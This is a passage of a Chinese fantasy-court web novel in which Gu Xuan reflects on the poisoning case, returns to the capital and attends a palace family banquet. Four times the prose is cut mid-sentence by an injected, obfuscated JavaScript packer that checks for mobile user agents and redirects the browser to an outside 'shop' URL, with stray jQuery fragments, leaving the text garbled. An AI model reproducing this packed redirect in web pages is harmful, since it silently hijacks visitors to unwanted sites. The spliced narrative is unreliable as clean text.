顾暄洗完澡出来,在床上躺了小半个时辰,却怎么也睡不着。李家的哭声仿佛近在咫尺,顾暄一闭上眼就能感受到那哭声里的悲痛和怆然,失去亲人的切肤之痛。 他横竖睡不着,在床上翻来覆去,思绪乱飞。这么说,莱尔和图英与阿武力有仇,两人蓄谋杀人不是一时兴起。恰好阿武力对郡守深恶痛绝,四公子决定在母亲忌日报仇,估计是跟阿武力达成了什么协定,只是阿武力自己都没想到自己会被杀。然后红鬾这帮人掺和进来了,又扯出郡守与刘二的药材交易。 阿武力手上有制蛊秘法,天戎人也在打这个的主意。就是不知道两位苗人与天戎旧部是什么关系?狼狈为奸还是互不干涉? 不对,四公子让李大娘回来可能是顾念往昔情分,那游医这么做的目的是什么?还有,李大娘当时真的不知道郡守府会发生什么吗?府中几乎没有活口,怎么就剩了一个呢? 顾暄猛地坐起身,披了一件外衣往外冲,谢予刚好从房门出来,看见他冲出来拦了他一把,低声问:“阿暄,怎么了?” 千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278667|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言万语不知从头说起,顾暄越急越不知如何开口,情急之下一把攥住谢予的袖子。看他这副着急样子,谢予分出一道内力输入顾暄的经脉,扶他回房间,道:“慢慢来,你先缓一下,是有什么重要事情要说吗?” 顾暄接过谢予给他倒的茶水,喝下去勉强缓了缓,终于能正常组织语言了。他说:“师兄,刚才我有个想法……” “嗯?” 顾暄似是拿不定主意,说话也说得慢:“我在想,人蛊会不会不是阿武力下的?李大娘逃过一劫,会不会就是有人想通过她告诉我们,下蛊的是阿武力?” 谢予一愣,先前他们先入为主,看见郡守府中的阿武力便以为是他操作失败导致曹思凡失控大开杀戒,若不是呢?若是莱尔和图英所为,这同样也解释得通,毕竟那两人同样是从南疆出来的。 按后一种假设,两人杀阿武力为的是秘法,那他们的目的跟天戎长老是一样的。假若他们狼狈为奸,命案发生当晚票据和画着奇怪线条那张纸就应该被拿走了,而不是红鬾冒着风险和性命来偷。所以那两波人那时应该还不是同一阵营的。 阿武力没有将全部秘法放在西柳街那女人那儿,就应该还有一部分在郡守府中,可能在那天晚上被搜走了。如此,按照那伙黑衣人的德性,两个苗人不交出秘法应该是凶多吉少了。 顾暄想了想:“不过,也可能是阿武力下蛊操纵曹思凡杀人,莱尔和图英与他有矛盾,出手杀了他。” 他忽然想起了东临城那具渔夫的尸体,眼睛被人毁去,云庄原先的判断是巫骨。因为巫骨有一个很明显的特征就是中毒者眼睛会变成紫色,他们以为渔夫眼睛没了就是有人想掩饰那人中了巫骨的事实。但也不尽然是中巫骨而死,可能是人蛊,况且那人身上还沾着南疆的紫鬼。 如果东临城事件的幕后黑手是南疆人,这会不会跟莱尔与图英有关? 谢予坐在床边,按了按眉心,他看起来蛮头疼的。“不排除这种可能,官府已经通缉那对苗人兄弟了,现在要做的是等结果。我在你隔壁,听到你翻来翻去没睡着,猜着你因为白天的事没睡着,就过来看看你。” 他伸指点在顾暄眉心,一缕内力从头顶一路流到脚下,所过之处暖融融的,顾暄打了个哈欠,慢慢有了困意。 他的声音越来越低:“谢谢师兄,你记得早点休息。”现在还有一个时辰多就天亮了,哪怕是现在休息也不算早了。 “嗯。” 谢予等他的呼吸慢慢平稳了才起身离开,临走前看了看暖炉的炭火,确认足够后才安心离开。 36. 郡守府灭门案(完) 二十日,官府终于把刘二手下所有货物都查清了。这家伙留了几手,货物和典当品并不放在一处仓库,而是益城的七八处地方,使得调查十分麻烦。 找到地方后,就是一一排查,这又是一项大工程。朱颈保存条件苛刻,不能见光,需得放在不透光罐子里,而且放置地方温度不能太高也不能太低。 奚连养伤数日,在今天终于出关了。几人决定分头行动,奚连带着顾暄去东北角,其余人分成几队各自行动。正要出发时,有人来通报说河里发现一具浮尸。 等打捞上来,秀格对着书信蹲在地上认了小半天,认出这人是图英。官府请人来验尸,说是醉酒后失足落水溺死。 谢予:“既然如此,莱尔呢?”按猜想,图英死了,要么是无间所为,要么是莱尔杀掉其他两人独吞秘法。 官兵以那条河为中心的十五里地方搜了四五天,没见着另一个人的下落,莱尔就像从未来过此地一样。 等几人分头去搜查朱颈下落,找了一天也没看见符合要求的药材,刘二交易的多是衣服料子与珠宝,找几个密闭罐子还是挺容易的,问题是就是找不到。 二十四日,搜查结束,所有跟刘二有交易往来的人都被盘问了一遍,有个跟他做药材往来生意的人说刘二死的那天上午,派人来他这里取走了之前留下的几味药材。 谢予忙问是什么药材。那人想了想,说只是寻常活血化瘀药材。线索就此中断,是不是刘二派人去取的,以及人蛊是谁下的都不得而知了。 不管如何,地方郡守私自与人交易非法药材,再加上跟一个叛逃南疆的巫人有联系,无论对大梁还是南疆来说,都是一件棘手事。谢予那几天为了上报这件事,写废了七八张纸,最后终于把一份详细密报发回京城。 二十六日,顾暄拔出雪落,剑出鞘时带出一阵寒光,锋利的剑身上映出一双明亮的眸子。剑起剑落,扬起的雪足足有两丈高,他终于可以使用内力了。 再一次感受到内力充盈身体,他发现经过这两个月的养伤,中境的基础稳了,内功心法也稳了,接下来就是冲击上境了。这几天笼罩在心头的阴霾总算消去了一些,他忍不住笑了起来。 文言殊倚在栏杆上,目光落在雪中那个正在练剑的轻灵身影,对坐在美人靠上喝小酒的奚连道:“快上境了,你这弟子真不错,跟林炀那弟子有得一比。” “人家是太子,我这徒弟还是暂避锋芒吧,太招摇也不是好事。”奚连说。 提起林炀,文言殊想起一桩往事,问:“话说,当年你为什么不收太子为徒,而是收小予为徒?” “我不想做帝师,把这大好机会让给林炀吧。做王爷和王府公子的师父,跟做太子的师父,哪能一样?”奚连晃了晃酒壶,扬声道:“修远剑第八式错了,步伐向左,出剑在右才对……唉,剑给我。” 下一秒,文言殊看见眼前的身影不见了,一转头,那袭青衣已经在细细小雪中了。 他们留到二十九日才启程回京。二十七日和二十八日,曹府中没中毒的尸体都下葬了,种过人蛊的尸体火葬了,顾暄他们把曹思凡生前的一套衣服葬在他母亲的墓碑旁。曹思凡五岁失去母亲,时隔十六年,两人再度重聚。 李大娘的墓和她孙子的墓靠在一起,刘二的丧葬事宜由刘家办理。 阿武力的墓修在那位被郡守间接害死的女子的墓旁,那女子被纳为郡守的小妾,不被正妻所容,在一次受辱后自缢身亡。 西柳街上原以为是阿武力相好的那人,是那女子的妹妹。姐姐死后,阿武力跟她还保持着过节时的问候往来。阿武力猜测自己命不久矣时,第一时间是把银票和部分秘法送到妹妹手上,不知道是赌那些人不会找到这里,还是心大到不顾妹妹的安危。 话到此处,顾暄有个疑惑:“为什么阿武力不烧了那些秘法?” 秀格看了他一眼,“当初南疆为了保存秘法,使之世代相传,书写秘法的是一种特殊纸张,无论是水浸还是火烧都没办法毁去。” “无间为什么要费尽心思拿到南疆的秘法呢?”一个在南疆,一个在西北边,隔着几百公里,难不成他们要偷师? “你猜巫骨为什么有个‘巫’字?”文言殊说。 巫骨,南疆巫人。顾暄震惊地看着秀格和文言殊,“不会是……” 秀格点点头,“天戎的巫骨就是从四十多年前从南疆叛逃出来的一位长老传授的,人蛊需要蛊虫,天戎国自然没有南疆种类这么齐全的蛊虫。所以他们改进了方法,用毒,最后的效果竟和人蛊差不多。” 不儿,南疆这几十年怎么这么多人叛逃?还有,那位逃出去的南疆长老和天戎人也是天才,在没有蛊虫的情况下改良配方,效果竟也大差不差。难怪秀格的语气有点微妙。 其他人散去时,谢予说:“四十年前南疆归附大梁,一部分不愿意归附的人逃去天戎国,研制出巫骨。十七年前天戎国战败,吃了巫骨的亏,因此朝廷对南疆的管控更严,惹来南疆本土部分长老不满,十多年前叛逃南疆那三位长老可能是因为这个。” 然而三位长老死了两位,还有一位不知下落,秘法很大可能也落入天戎人手中,这又是一个循环吗? 顾暄:“师兄为何突然跟我说起这个?” “因为其他人知道,你不知道。”谢予说。而且你不问,可能就永远不知道了。 二十九日,一行人终于启程回京,估计回到京城年都过完了。顾暄看了看如柳絮一般纷飞的雪,想起自己赶来益城的路上每到一个客栈就跟一个雪人无异,而且还是一个浑身肌肉酸痛的雪人。他问:“我们又是骑马赶回京城吗?” 奚连偏好青色,连狐裘也是经染料调过的青色。他兜着袖子,懒洋洋道:“你想的话当然可以,我们这车还少个车夫。” 顾暄白了他一眼。谢予说:“来时要务在身,越快越好。回去倒不用了,可以坐马车。” 顾暄穿着来时那身水红色长袍,披着件牙白色毛领披风,闻言抚掌赞叹,一溜烟进了马车。里面有挡风帘子和暖炉,一进去他就脱了披风。 谢予还在外面交代一些事情,顾暄挑起帘子,心里又有了问题。他喊道:“师父。” 奚连原本跟没骨头一样靠在马车边,见他出声,又直起身往那边走去,“又怎么了,少爷?” 顾暄趴在马车的窗子上,突发奇想:“可不可以御剑回去?” “……”奚连哑言片刻,“你当御剑飞行不用内力吗?可以是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278668|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以,不过你那点内力估计飞不到两百里。” “那你呢?” “我不想试。”奚连拉下帘子,把这问题少年塞回去。 马车里,秀格安静喝茶,黄正这几天和顾暄相处下来也渐渐熟稔起来。他笑道:“御剑飞行要练的,不然初学者会从天上掉下来的。非急事不御剑飞行是江湖规矩,因为京城、边境等地,还有江湖上一些宗门,都会布下结界禁止飞行。不清楚结界分布,御剑飞行会不小心闯入结界,所以有时候有急报骑马或信鸟反而更有用。” 顾暄一副虚心受教的表情,“受教了,黄师兄。” 他前面那几天忙着查案,每天回来差不多是倒头就睡,给王府的家信也是寥寥数语,大多是报平安的。等案子忙完后,顾暄才说他跟着师长到了益城查案。 王爷一听,气恼得不行。下一封家信中六页纸中有一半是痛斥奚连的,一小半是痛斥把他带去益城的谢予,顾暄看信时还得避着他们,生怕一个不注意被看去了。 中途在客栈休息时,王府的信鸟掐着时间到了客栈,顾暄当着师长的面不好拆信,又来一封骂人的信被奚连看见就好玩了。 奚连看见,竟很有自知之明:“王府的?不会又是骂我的吧?” 你还知道啊,顾暄腹诽道。不过当面他不敢这么说,他说:“哈哈,怎么会呢。” 奚连悠哉悠哉地倒了杯茶,没告诉他顾暄刚到益城那天自己就写信告诉了顾柳青,顾柳青那会一天三封信从东临城飞到益城,恨不得从信中爬出来掐死他。信末,他再三警告,让奚连一定看好暂时用不了内力的顾暄。 奚连以项上人头担保,保证顾暄回京城时必毫发无伤。王爷下一封信到时,信上只有八个字:“谢谢,我是回回族人。” 奚连:…… 不惜改族也要内涵他是猪吗? 不用骑马赶路就是好啊,路上七天跟游玩也差不多了。就是有时有点说不出的惆怅,因为他们赶回京路上那几天恰好是新年。别人都在阖家团圆,他们几个同门的凑一块,虽不至于凄凉,但总归是有些不习惯的。 师父师兄坐在另一辆马车上。几个同辈的坐在另一辆马车里,要么下棋,要么睡觉,要么修炼,要么打牌。秀格牌玩得不错,比逢大必输的李无逍好多了。 又一次赌牌输了发牌时,顾暄心想:等他赶回去大朝会早开完了,王爷估计也回京了。不知道云庄那时能不能让他回家再过一次年?在云庄的两位师兄有回家吗? 柳无喧应该是没有的,在益城那大半个月他还传信让柳家对这行人多加照顾,临行前一晚的晚饭就是在柳府吃的。 王爷和顾映问了他大概回京日子后,让他在路上注意保暖,不必急着回京。沿路边一片喜气,整个大梁估计都笼罩在新年的喜庆中。 再一次看见京城巍峨的城门时已是正月初四,午阳高照,冲淡了雪地上的冷意。顾暄站在城下,简直想来把扇子扇几下,再慨叹一声“忽如一夜春风来,千树万树梨花开”。 奚连不知道从哪儿摸出一把扇子,大冷天扇了起来,再加上青衫轻裘,“众人皆醉我独醒”的气息就出来了。 顾暄头一回感觉到自己能跟奚连成为师徒不是没道理的。 37. 入宫 几人回到云庄时已是下午,午饭都没来得及吃。奚连、谢予和顾暄往梅兰竹菊四轩走去,沿着外院到内院的路上有个迎客亭,亭子往不同方向走去就是师兄弟四人的住处了。 已经有人在迎客亭里候着了。那是一位身材微胖的红袍中年人,见谁都一脸笑意,那张笑起来的圆脸符合人们所说的“福相”,看起来讨喜极了。 他看见走在前面的奚连,忙掀开帘子迎出去,“庄主辛苦,一路风大,这会回京总可以安心歇歇了。老奴今儿来给您拜年了。” 奚连收起折扇,脸上带笑,“魏公公给奚某拜年,奚某荣幸之至。你家王爷在这儿呢。”言罢让开一步,顾暄看见他的动作也跟着让开一步。 魏公公看见谢予,即刻躬身行礼,口中称“王爷”,“陛下和太上皇挂念您得紧,让老奴早早在这儿候着。” 谢予回礼,“劳长辈挂心,我现在就入宫。” 魏公公含笑称是,目光转到一袭水红色长袍、面容清秀又带着点稚嫩的顾暄身上。顾暄听见奚连喊他为“魏公公”,猜测他是皇帝身边的太监。他行了个礼,“魏公公,在下顾暄。” “二公子,百闻不如一见啊。”魏公公的脸又笑成一朵花,“陛下和信王刚才还提起您,让老奴托个口信,说您要是方便就同王爷一同入宫,见个面吃顿饭。您进京以来,陛下忙于国事,一直未能见面。” 刚回来就要被拉去吃饭,还是跟一家子皇族,一顿饭下来肯定如坐针毡。可是没办法,人家都搬出陛下了你还能真说不方便吗?再加上自己入京许久未曾拜见过陛下,确实于礼不合。 顾暄在心里嘀咕完,脸上还是那副温和表情,“陛下心忧社稷,日理万机,是大梁之幸。劳烦公公引路了。” 奚连听他们打官腔听得有些烦,他和这魏公公应该关系不错,直言道:“你这一来就把我的两个弟子掳走了,剩我一个孤家寡人在云庄里过年,啧啧啧。” 魏公公一听两个人都应下来了,有种任务完成的愉悦感。他哈哈一笑:“庄主说笑,老奴保证,吃完饭定把您的宝贝徒弟送回来。” 奚连挥挥手,“啧,快走吧。” 坐在入宫的马车上,顾暄低头整理衣领配饰,他今天换了一个半掌宽的银色腰封,水红色也讨喜,应该不会出什么大差错。 谢予看他一会抚平衣袖褶皱,一会整理衣领,一会摆正腰封,笑道:“不用太紧张,当作家宴即可。皇叔你已经见过了,陛下和睿王你没见过而已。” 顾暄心想你都见过了当然不紧张,我一个臣子的孩子面圣当然紧张了。他胡乱点了点头,继续端正地坐着。 马车到了某处禁行,两人下车,有宫人要过来替他们撑伞,谢予示意不用,这点太阳晒晒刚好。皇宫里就是不一样,亭台水榭,飞阁流丹,恰到好处的阳光斜斜地切过漫长的金瓦红墙,覆着点细雪的吻兽凝视着前方,秩序带来的威严在这里体现得淋漓尽致。 魏公公带着他们来到一处宫殿,让他们稍等片刻。殿外的守卫看见两人,均低头行礼。顾暄仰头看着金匾上那气势恢宏的“泰明殿”三字,心道这字真是入木三分。 谢予顺着他的目光看去,道:“这是太祖皇帝所书,自太祖皇帝以来在这里接见贵客就成了传统。” 顾暄点点头,“贵客”这分量很重了。 不一会儿,魏公公出来了,领着他们进去。先是暖意融融的外殿,泰明殿极为高大,满殿漫着温暖浅淡的龙涎香,一进门,殿后的魏公公把帘子放下。外殿的主要光源来自槛窗和角落内的明角宫灯,地面上铺着色泽青灰的金砖,映出几道朦胧的身影。 外殿里坐着三个人,一个是几次见面包括这次都一身红的沈昧;坐在上首那人约莫十八九岁,一身深绛紫暗云纹锦袍,领口与袖缘露出一截朱砂红的衬里,腰间束着墨玉色革带,比衣衫更吸引人的是那张英俊的、和谢予有四五分相像的脸。 右手边还有一个人,身着天青色长袍,腰间换了一枚云纹羊脂白玉佩,前阵子王爷说他戴了好多年的玉佩在游历回来不见了。那人转过头,眉目温柔,脸尖了些,果然是顾映。 几人纷纷起身,谢予领着顾暄一一行礼,两位世子,一位太子。国礼之后就没那么拘谨了,太子谢霁打量他片刻,笑道:“世子跟我谈起过二公子,今日终于得见真颜,果然惊才绝艳。” 顾映错开太子一步站在他的身后,闻言笑了笑,只是笑容有些淡。顾暄心下奇怪,难不成自家哥哥跟这太子不和?顾映自从他那场大病后就没有随着王爷进京了,这次是为了看他一面。除去游历,他跟太子还能在哪儿见面?总不能来京这短短几日就闹得不愉快吧? 顾暄突然想起他跟林炀第一次见面时,林炀说“闹腾的家伙走了”,莫非是指太子离京? 礼节还是要顾上的,顾暄微微低头,“殿下过谬,得见殿下亦是臣今日之幸。” 谢霁充当介绍人,介绍沈昧,“这是北安王世子,我记得他跟王兄和二公子都是云庄弟子,没记错吧?” 沈昧颔首,“殿下没记错,只是我们师父不同,平日里见的少。” 太子:“不碍事,今天就是个很好的机会……诶,说着说着都快忘了时间,陛下他们还在内殿等着你们。” 两人告辞后,继续往内殿走。顾暄记起来沈昧跟他们在剑门第一次见面,他好像没有认出谢予。谢予在宫中长大,北安王世子不像他此前没出过东临城,那应该是来过京城的,无可避免与谢予碰面。如果他们认识,看谢予跟他不怎么合得来啊。 内殿那儿已经有人拉起帘子了,顾暄低着头跟着谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278669|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 予进去,内殿的龙涎香比外殿浓一些,还混着些檀香香气。殿内已经有人摆好了毯子,两人跪下行礼。 内殿有三个人,一人在他和谢予进来时还轻笑了一声,听声音是谢承礼。坐在上首的是宣景皇帝,那最后一位是王爷了? 顾暄按捺住往王爷那边看的冲动,谢予行礼他也行礼,直到一道平静的声音响起:“免礼,起身吧。今日当是一次家宴,你们不用过于拘束。” 谢予从小在宫中长大,拘束倒谈不上,所以这话是对顾暄说的。 顾暄抬头,映入眼帘的是一道绀蓝色身影。那人大概四十多岁,五官出众,面色沉静,谢霁那副好相貌有一半以上来自这位宣景皇帝 顾暄一愣,觉得这人的脸有些熟悉。 宣景皇帝看着他的眼睛,视线凝住片刻,手指不自觉摩挲着大拇指那枚玉扳指。 谢承礼笑道:“看呆了?第一次见皇上,感觉如何?” 顾暄回过神,忙低头告罪。 宣景皇帝道了声“没事”,又警告似的喊了声“承礼”,谢承礼那边拱手讨饶:“开玩笑的,皇兄。” 谢予继承了端王的王位,顾暄是东平王的次子,轮到给信王行礼时略有不同。谢承礼无论在宫外还是宫内,都是一副做派,可能宫外还收敛了点。 他笑眯眯地问:“小顾暄,出去一趟感觉如何?你大师兄还是入门一年后才出任务的,你入门不到三个月就去了,累不累?” 那点盘旋在内殿的严肃被冲淡了些,顾暄实诚道:“除了骑马赶路腿酸,其他的还好。” “你得练练,以前我们几个去郊外跑马,一连骑马两个多时辰,多有意思……王爷,你这样看我干嘛?算了,阿暄你去见见那位王爷。” 坐在谢承礼对面的是北安王沈驰,见这人越说越偏有种要回忆往事的趋势,连忙甩了个眼色给他。谢承礼不住嘴,不光他晾在那里,谢予也站在那儿不敢乱动。 北安王生得高大威猛,性格不羁,很有武将之风,看见北安王后他一直不明白“沈妹”是怎么被他养成这样的。他先前以为坐这儿的是王爷,看到北安王后眼里的失落差点没掩盖住,难道顾柳青回东临城了? 沈驰注意到他的小表情,戏谑道:“看到我而不是东平王,你很失望?看到我不好吗?” “顾暄不敢,早闻王爷大名,一直憧憬着……”正当顾暄绞尽脑汁搜刮肚子里的好听话时,一道熟悉的、没忍住的笑声响起,顾暄回头,几个月没见的王爷进入内殿,脸上还是那副调侃人的表情,冲着沈驰道:“得了啊你,顾暄就是想见我。怎么,说实话怕伤了你的心?” 说话间,他走到顾暄身旁,拍了拍他的肩,动作自然。 至此,顾暄终于真心实意喊出这声不带有其他情感的称呼:“爹。” 38. 过年 几个人凑一块儿挺能说的,沈驰顾柳青和谢承礼负责说,谢予和顾暄负责听,时不时给点回应,可谓是职责分明。 顾暄记着顾映,吃了几块点心后找个借口溜去外殿,顾映正和太子兴趣缺缺地说着话,沈昧不知道去哪儿了。 见到他,顾映眼睛亮了亮,“阿暄。” “哥。”顾暄往他那边走去,语气带上了点撒娇的意味,“好久不见,我好想你和王爷。” “王爷”一词在顾府没外人的情况下就是调侃用的,作用类似于“王爷又睡到日上三竿”“王爷在写曲儿”这种。 太子轻轻咳了咳,“你们兄弟二人的感情真好。” 顾暄坐在顾映旁边的座位上,笑道:“殿下和端王不也是吗?端王在宫中与殿下一同长大,这情谊不比亲兄弟少。” 太子的脸上掠过一丝怀念之色,“是啊,我没有其他兄弟姐妹,唯一的妹妹也不在。要是没有王兄,我以前得多无聊。” 唯一的妹妹应该是谢霁那早夭的妹妹,当时的皇后因难产而死,公主也未能幸免于难。宣景皇帝自皇后死后,便未再立后,也没有其他子嗣,在谢霁十五岁时立他为太子。有人猜测,太子的祖父武成皇帝被说罪孽深重不是没原因的,这一代子嗣凋零成这样,那句“报应到后代”听着真是心惊。 内殿那儿过来一个人,那人走近,是谢予。他问:“聊什么呢?” 谢霁:“聊你,终于出来了?他们没抓着你聊?”听谢霁的语气有些幸灾乐祸,看来是对这流程很熟悉了。 谢予笑笑:“他们都已经陷入往事回忆了,我寻个借口就溜出来了。” 顾映和顾暄说去外面走走,谢霁的目光落在顾映身上,也不说话,直到那个身影消失在外面。 谢予喝了口香茗,忽然问:“你那块麒麟墨玉呢?” “丢了。” “丢了?” 顾暄一脸惊讶,他哥那块玉佩是顾暄九岁那年王爷去灵隐寺求佛一同带回来的。他颈上挂着的三角形黑玉坠子就是那个时候拿去开过光后和顾映的玉佩一同带回来的,他带了六年,又不是什么粗心的人,怎么会说丢就丢? 顾暄心想他哥可能是有情况了,这玩意他也不好插手太过,于是换了个话题。他压低声音问:“哥,你跟…是不是有矛盾?” “太子殿下”四字被他含糊过,听声调还是能听出是什么的。 顾映替他正了正衣领,淡声道:“没什么,刚才我们就某件事的观点有点歧义。谈不上矛盾。” 顾暄“哦”了一声,眼巴巴地看了他一眼,没说其他的。 晚宴设在麟德殿,还未见过面的睿王及两个儿子、南宁王女儿还有太上皇也到了。几位王爷的封地在外地,睿王便是其中之一;信王是陛下的同母弟弟,并未外封;端王则是未到时候回封地。 睿王继承了谢家的出众相貌,面相却有些阴柔,他看着顾暄笑起来时让顾暄觉得有些不自在。睿王那两个儿子,长子跟他差不多一个样,次子不过十三岁。 南宁王操心边境事务,不惑之年就去世了。唯一的女儿孟清婉体弱,被接到京城南宁王府长居。她年方十七岁,如名字般温婉从容,只是脸色有些苍白。先前有人暗暗猜测,懿柔郡主若不是体弱,便是太子妃的内定人选了。武成皇帝和宣景皇帝疼爱她,太子又与她有手足情谊,唯一美中不足的是她的身体。 看到太上皇时,顾暄差点没一个趔趄跪下去。这不是刚来京城不久的时候在大街上马车超速那老头吗?当时顾暄为了避让一个小孩退到路中央,马车差点撞到他,那车夫率先发难,顾暄还为此差点跟这伙人杠上。 太上皇谢居和照例跟几位王爷的儿子聊了会,只是到了顾暄这里盯着他看的时间长了些。顾暄心一横,坦坦荡荡地和他对视,反正那天他没计较什么,今天应该就不会把旧事拿出来。 王爷要是知道他刚来京城不久就跟太上皇杠上,指不定气得活蹦乱跳。 谢居和面相看着严肃,不笑的时候给人一种很凶的感觉,跟沉静如水的宣景皇帝是两种气质。两人就这么对视片刻,顾暄礼貌微笑,谢居和则是细细看着他,仿佛要透过皮肉看骨一样。 顾柳青站直身子,打算出言拯救一下置于尴尬中的小儿子,就听到谢居和跟自己说:“柳青,你这儿子生得不错,特别是那双眼睛,漂亮。” 生得不错有两种含义,一种是顾柳青这个儿子不错,另一种是顾暄长得不错。顾暄默认他一语双关,在夸自己。 顾暄口中说“太上皇过誉”,实际上心里毫无负担地觉得他说得对,全场就这么多人,他就说我长得好。 顾柳青一时摸不准他的意思,看顾暄那暗暗得意的小表情又觉着牙疼,只得半真半假道:“皮相倒是次要的,人品心性端正才是首要。这小子听着您夸他,尾巴都要翘上天了。” 谢居和罕见地笑了笑,“孩子心性,不碍事的。他叫顾暄是吧?以前我好像没见过他,他大哥我倒是见过。” 顾柳青:“是,从日暄。十五岁之前,臣确实没有带他出远门过,他哥哥倒是跟我来过一两次京城。” 谢居和点点头,随即感慨道:“没想到都过了这么久,一眨眼孩子就长大了。” 一场晚宴热热闹闹地结束了,顾柳青三人回顾府。东平王在京城也有府邸,来京时就住在这里。顾暄刚来京城时,为避免不必要的麻烦,一直住在客栈。入住东平王府意味着要去皇帝那儿走一圈,顾暄心想麻烦,便划掉这一计划。 顾暄想着自己到了京城时父兄早已回东临城,没想到还能见上一面。顾柳青听见他的话,睁开眼,笑了一声:“是陛下的意思。他念着你过年那几天在路上奔波,未能与父兄见面,便多留了我们一阵子。” 顾暄原本靠在顾映肩头,闻言坐直了身子,“天哪,这也太细心了。我看他话不多的样子,有些怕他。还有太上皇……” 顾柳青懒洋洋地靠在马车上,道:“不用特地害怕他,当时我跟信王他们一起念书时,陛下当时大我们几岁,很照顾我们。太上皇看着确实严肃,他年轻时更凶……” 趁着没有外人,他说话也放开了些。提到太上皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278670|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顾柳青往前靠了靠,奇怪地看了他一眼,问:“今天太上皇看着你格外久啊,我怎么感觉你们之前见过?” 顾暄略带心虚地回看了一眼,道:“没,我今天还是蹭了晚宴的光才得以见一面的。想什么呢?没准人家是单纯觉得我好看。” 果然一听到后面那句话,王爷白了他一眼,重新靠回去,没再计较话里的真假了。 初五,顾柳青几人去了云庄。大半个月没看见同门,一看见伤好了的云谨和柳无喧,他格外激动,冲上去就要给他们一个大大的拥抱,尤其是美人师兄。 “师兄我好想你们——” 云谨躺了七八天才下床,柳无喧怕顾暄这一个大拥抱把二师兄给撞飞出去,忙张开双手迎接师弟的拥抱。触碰到真实的温度后,柳无喧忍不住笑了:“好久不见,看来外出任务习惯得还可以。” 顾暄松开手,得意洋洋:“那是,也不看我是谁。” 在柳无喧抢了顾暄的第一个拥抱时,要是表情能转成文字,云谨头顶一定是个大大的问号。顾暄抱他时动作轻多了,怕一个不小心用力把他捏碎了,让云谨觉得有些好笑。 顾暄仔细看了看他的脸色,问:“师兄你脸还有点白,确定痊愈了吗?” 云谨淡淡地笑了笑,“我真没事,就是卧床时忌口瘦了点。” 柳无喧道:“别担心你二师兄了,他脸本来就很白,以前有个诨名叫小白脸……” 云谨掐了他一把,脸上还是那副兄友弟恭的表情:“师弟你胡说什么呢。” “痛痛痛我错了……” 王爷跟世子慢他几步,等他们差不多走到梅轩时,几人已经在那里叽叽喳喳地说话了。 父兄旁边还跟着个人,是奚连。顾暄郑重地把两位师兄介绍给父亲和哥哥,大有一种第一次把朋友带回家介绍的隆重感。几个人看着觉得好笑,也随他去了。 轮到奚连时,他摆摆手:“二公子,我跟你父亲和哥哥见过了,就不劳您再讲一遍了。” “师父您就不能让我演完吗……” 奚连跟顾柳青说话去了,顾暄跟顾映讲自己在云庄的生活,从厨房的梅花糕到云庄惹人发笑的门规,那些看似很小无法写在信中的事情,在面对面之后竟也能侃侃而谈。大抵空间层面上的距离也很重要。 奚连和顾柳青凑在一块,顾暄总算可以问出那个让他疑惑很久的问题了:“爹,当初您说师父救过我一命,所以才叫我拜师云庄的。这是什么时候的事儿啊,我怎么感觉我占了便宜呢?” “都多少年了,你不记得正常,就你九岁那年。”王爷说,“至于谁占便宜,问你师父去。” 奚连则是笑得无奈,只是笑意里带了点不易察觉的苦意与柔和,顾暄当时未能领会。奚连道:“二公子,二少爷,给我当徒弟很辛苦的,你们师兄不老是抱怨这个吗?” 一谈到这个又来话题了,席间又一次陷入热闹的氛围。 顾暄想了想自己入门以来,就算是出任务也没有很辛苦,他想着想着被奚连一带,就把一开始的疑惑抛在脑后了。 39.离散 顾柳青他们待到初九才回去。期间,顾映好奇他的修为,拉着他比了一场,顾暄想着自己隐隐有升到一重境上境的实力,和顾映应该能打个平手什么的吧?他记得顾映十八岁,境界应该是一重境上境。 虽然顾映中途放了点水,但充其也只能让两人比试得久一些,顾暄还是输了。顾映挽了个漂亮的剑花,鼓励道:“不必灰心,有时候一重小境界就能决出胜负。你还年轻,说不定下次见面就可以赢过我了。” 